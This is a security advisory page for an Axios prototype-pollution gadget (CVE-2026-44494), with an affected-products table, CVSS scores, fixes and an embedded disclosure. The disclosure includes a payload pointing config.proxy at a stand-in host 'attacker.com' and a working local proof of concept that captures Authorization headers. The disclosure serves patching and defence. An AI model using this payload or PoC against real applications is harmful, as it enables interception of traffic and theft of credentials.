8.7high
Axios: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
- Severity
- 8.7high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 1.06% (higher than 65% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-35jp-ww65-95wh
Description
Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| axios axios | >= 1.0.0, < 1.16.0, from 1.0.0 before 1.16.0 | CVE List, NVD |
| axios | Not specified | CVE List |
| automation-gateway | Not specified Not affected: from 0:2.5.20260715-1.el8ap before *, from 0:2.5.20260715-1.el9ap before * | CVE List |
| multicluster-engine/console-mce-rhel9 | Not specified Not affected: from 1784312384 before *, from 1783351002 before *, from 1782157085 before *, from 1783348181 before * | CVE List |
| rhacm2/console-rhel9 | Not specified Not affected: from 1783350952 before *, from 1782157514 before *, from 1783451729 before *, from 1784578812 before *, from 1786908361 before * | CVE List |
| advanced-cluster-security/rhacs-main-rhel8 | Not specified Not affected: from 1779371594 before *, from 1779293013 before * | CVE List |
| ansible-automation-platform-27/gateway-rhel9 | Not specified Not affected: from 1783919486 before * | CVE List |
| container-native-virtualization/kubevirt-console-plugin-rhel9 | Not specified Not affected: from 1782426816 before *, from 1782356760 before * | CVE List |
| rhdh/rhdh-hub-rhel9 | Not specified Not affected: from 1783448184 before *, from 1782761244 before * | CVE List |
| discovery/discovery-ui-rhel9 | Not specified Not affected: from 1782166952 before * | CVE List |
| rhmtc/openshift-migration-ui-rhel8 | Not specified Not affected: from 1783690532 before * | CVE List |
| mta/mta-ui-rhel9 | Not specified Not affected: from 1785169013 before * | CVE List |
| rhoai/odh-dashboard-rhel9 | Not specified Not affected: from 1787347991 before * | CVE List |
| rhoai/odh-mod-arch-automl-rhel9 | Not specified Not affected: from 1787250508 before * | CVE List |
| rhoai/odh-mod-arch-autorag-rhel9 | Not specified Not affected: from 1787251550 before * | CVE List |
| rhoai/odh-mod-arch-gen-ai-rhel9 | Not specified Not affected: from 1786611759 before * | CVE List |
| rhoai/odh-mod-arch-model-registry-rhel9 | Not specified Not affected: from 1787250617 before * | CVE List |
| openshift4/ose-console | Not specified Not affected: from 1786477760 before *, from 1782911957 before *, from 1782127091 before * | CVE List |
| openshift4/ose-console-rhel9 | Not specified Not affected: from 1782244020 before * | CVE List |
| openshift4/ose-monitoring-plugin-rhel9 | Not specified Not affected: from 1782243791 before *, from 1782171032 before *, from 1782313844 before *, from 1781731914 before *, from 1782913451 before * | CVE List |
| openshift4/ose-agent-installer-ui-rhel9 | Not specified Not affected: from 1784148076 before *, from 1784134078 before * | CVE List |
| devspaces/code-rhel9 | Not specified Not affected: from 1782498475 before * | CVE List |
| devspaces/dashboard-rhel9 | Not specified Not affected: from 1782498792 before * | CVE List |
| openshift-service-mesh/kiali-ossmc-rhel8 | Not specified Not affected: from 1781937133 before * | CVE List |
| openshift-service-mesh/kiali-rhel8 | Not specified Not affected: from 1782287580 before * | CVE List |
| openshift-service-mesh/kiali-ossmc-rhel9 | Not specified Not affected: from 1782201894 before *, from 1782201696 before *, from 1782201851 before *, from 1782231869 before * | CVE List |
| openshift-service-mesh/kiali-rhel9 | Not specified Not affected: from 1782201833 before *, from 1782201537 before *, from 1782201812 before *, from 1782201466 before * | CVE List |
| quay/quay-rhel8 | Not specified Not affected: from 1783750447 before *, from 1783751865 before *, from 1784353904 before *, from 1784351966 before *, from 1784125838 before * | CVE List |
| quay/quay-rhel9 | Not specified Not affected: from 1783955846 before * | CVE List |
| satellite/iop-vulnerability-frontend-rhel9 | Not specified Not affected: from 1781174698 before * | CVE List |
| satellite/iop-host-inventory-frontend-rhel9 | Not specified Not affected: from 1782253070 before * | CVE List |
| satellite/iop-advisor-frontend-rhel9 | Not specified Not affected: from 1782243376 before * | CVE List |
| rhtas/rhtas-console-ui-rhel9 | Not specified Not affected: from 1784105894 before * | CVE List |
| cryostat-openshift-console-plugin-npm | Not specified | CVE List |
| gatekeeper/gatekeeper-rhel9 | Not specified | CVE List |
| mta/mta-ui-rhel8 | Not specified | CVE List |
| network-observability/network-observability-console-plugin-pf4-rhel9 | Not specified | CVE List |
| network-observability/network-observability-console-plugin-pf5-rhel9 | Not specified | CVE List |
| network-observability/network-observability-console-plugin-rhel9 | Not specified | CVE List |
| openshift-pipelines/pipelines-hub-ui-rhel8 | Not specified | CVE List |
| openshift-pipelines/pipelines-hub-ui-rhel9 | Not specified | CVE List |
| openshift-service-mesh/kiali-operator-bundle | Not specified | CVE List |
| openshift-service-mesh/kiali-rhel9-operator | Not specified | CVE List |
| 3scale-amp21/system | Not specified | CVE List |
| 3scale-amp22/system | Not specified | CVE List |
| 3scale-amp2/system-rhel7 | Not specified | CVE List |
| 3scale-amp2/system-rhel8 | Not specified | CVE List |
| 3scale-amp2/system-rhel9 | Not specified | CVE List |
| ansible-automation-platform/automation-dashboard-rhel9 | Not specified | CVE List |
| automation-controller | Not specified | CVE List |
| automation-hub | Not specified | CVE List |
| automation-platform-ui | Not specified | CVE List |
| python3.11-galaxy-ng | Not specified | CVE List |
| python3.12-galaxy-ng | Not specified | CVE List |
| python3x-galaxy-ng | Not specified | CVE List |
| python-galaxy-ng | Not specified | CVE List |
| apicurio/apicurio-registry-ui-rhel8 | Not specified | CVE List |
| apicurio/apicurio-registry-ui-rhel9 | Not specified | CVE List |
| rhdesktop/rh-podman-desktop-ext-openshift-local-rhel10 | Not specified | CVE List |
| grafana | Not specified | CVE List |
| grafana-pcp | Not specified | CVE List |
| rhelai3/bootc-cuda-rhel9 | Not specified | CVE List |
| rhelai3/bootc-gaudi-rhel9 | Not specified | CVE List |
| rhelai3/bootc-rocm-rhel9 | Not specified | CVE List |
| rhelai3/disk-image-cuda-rhel9 | Not specified | CVE List |
| rhoai/odh-dashboard-rhel8 | Not specified | CVE List |
| rhoai/odh-mlflow-rhel9 | Not specified | CVE List |
| rhoai/odh-mod-arch-eval-hub-rhel9 | Not specified | CVE List |
| rhoai/odh-mod-arch-maas-rhel9 | Not specified | CVE List |
| rhoai/odh-mod-arch-mlflow-rhel9 | Not specified | CVE List |
| container-native-virtualization/kubevirt-console-plugin | Not specified | CVE List |
| rhtpa/rhtpa-trustification-service-rhel9 | Not specified | CVE List |
| ansible-automation-platform/automation-portal | Not specified | CVE List |
| ansible-automation-platform/bootc-automation-portal-rhel9 | Not specified | CVE List |
| axios (npm) | from 1.0.0 before 1.16.0 | GitHub Advisory Database |
All scores
| GitHub_M | 8.7high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N |
| redhat-SADP | 8.7high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N |
| GitHub | 8.7high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N |
Classification
What each source says
CVE List
Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.
GitHub Advisory Database
Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.
The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.
Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.
Severity: Critical (CVSS 9.4)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/adapters/http.js (config property access on merged object)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
CVSS 3.1
Score: 9.4 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | MITM within the application's network context |
| Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) |
| Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true |
| Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |
Why This Bypasses mergeConfig
The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:
mergeConfigiteratesObject.keys({...defaults, ...userConfig})—proxyis NOT in this setdefaultToConfig2forproxyis never called- The merged config has no own
proxyproperty - When
http.js:670readsconfig.proxy, JavaScript traverses the prototype chain Object.prototype.proxyis found → used bysetProxy()
This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:
Object.prototype.proxy = {
host: 'attacker.com',
port: 8080,
protocol: 'http',
};
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
// This looks safe to the developer — no proxy configured
const response = await axios.get('https://api.internal.corp/secrets', {
auth: { username: 'svc-account', password: 'prod-key-abc123!' }
});
3. The Execution
At http.js:668-670:
setProxy(
options,
config.proxy, // ← traverses prototype chain → finds polluted proxy
protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path
);
setProxy() at http.js:191-239 then:
function setProxy(options, configProxy, location) {
let proxy = configProxy; // = { host: 'attacker.com', port: 8080 }
// ...
if (proxy) {
options.hostname = proxy.hostname || proxy.host; // → 'attacker.com'
options.port = proxy.port; // → 8080
options.path = location; // → full URL as path
// ...
}
}
4. The Impact (Full MITM)
The attacker's proxy server receives:
GET http://api.internal.corp/secrets HTTP/1.1
Host: api.internal.corp
Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==
User-Agent: axios/1.15.0
Accept: application/json, text/plain, */*
The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker:
- Sees every request URL, header, and body
- Modifies every response (inject malicious data, change auth results)
- Logs all API keys, session tokens, and passwords
- Operates as an invisible proxy — the developer has no indication
5. Verified PoC Code
import http from 'http';
import axios from './index.js';
// Attacker's proxy server
const intercepted = [];
const proxyServer = http.createServer((req, res) => {
intercepted.push({
url: req.url,
authorization: req.headers.authorization,
headers: req.headers,
});
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end('{"hijacked":true}');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;
// Real target server
const realServer = http.createServer((req, res) => {
res.writeHead(200);
res.end('{"data":"real"}');
});
await new Promise(r => realServer.listen(0, r));
const realPort = realServer.address().port;
// Prototype pollution
Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };
// "Safe" request — goes through attacker's proxy
const resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {
auth: { username: 'admin', password: 'SuperSecret123!' }
});
console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');
console.log('Intercepted Authorization:', intercepted[0]?.authorization);
// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)
delete Object.prototype.proxy;
realServer.close();
proxyServer.close();
Verified PoC Output
[1] Normal request (before pollution):
Response source: real server
response.data: {"data":"from-real-server"}
Proxy intercept count: 0
[2] Prototype Pollution: Object.prototype.proxy
Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }
[3] Request after pollution (same code, same URL):
Response source: ATTACKER PROXY!
response.data: {"data":"from-attacker-proxy","hijacked":true}
[4] Data intercepted by attacker's proxy:
Full URL: http://127.0.0.1:50878/api/secrets
Host: 127.0.0.1:50878
Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh
All headers: {
"accept": "application/json, text/plain, */*",
"user-agent": "axios/1.15.0",
"accept-encoding": "gzip, compress, deflate, br",
"host": "127.0.0.1:50878",
"authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh",
"connection": "keep-alive"
}
[5] Attacker capabilities demonstrated:
✓ Full URL visible (including internal hostnames)
✓ Authorization header visible (Base64-encoded credentials)
✓ Can modify/forge response data
✓ Affects ALL axios HTTP requests (not just a single instance)
✓ No assertOptions constraints (unlike transformResponse gadget)
Impact Analysis
- Full Credential Interception: Every HTTP request's
Authorizationheader, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext. - Arbitrary Response Tampering: The attacker can return any response data — no constraints like
transformResponse's "must return true". - Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.
- Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios.
- Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses.
- Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.
Why This Is More Severe Than transformResponse (axios_26)
| Dimension | transformResponse Gadget | proxy Gadget |
|---|---|---|
| Data access | this.auth + response data | All headers, auth, body, URL, response |
| Response control | Must return true | Arbitrary responses |
| Attack visibility | Response becomes true (suspicious) | Normal-looking responses (invisible) |
| mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely |
Recommended Fix
Fix 1: Use hasOwnProperty when reading security-sensitive config properties
// In lib/adapters/http.js
const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined;
setProxy(options, proxy, location);
Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty
Properties not in defaults that are read by http.js and have security impact:
config.proxy— MITMconfig.socketPath— Unix socket SSRFconfig.transport— request hijackconfig.lookup— DNS hijackconfig.beforeRedirect— redirect manipulationconfig.httpAgent/config.httpsAgent— agent injection
All should use hasOwnProperty checks.
Fix 3: Use null-prototype object for merged config
// In lib/core/mergeConfig.js
const config = Object.create(null);
Resources
- CWE-1321: Prototype Pollution
- CWE-441: Unintended Proxy
- GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
- Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-16 | Vulnerability discovered during source code audit |
| 2026-04-16 | PoC developed and verified — full MITM confirmed |
| TBD | Report submitted to vendor via GitHub Security Advisory |
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-44494 changed 2026-09-11 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-35jp-ww65-95wh changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2026-44494 changed 2026-09-11 | Public domain |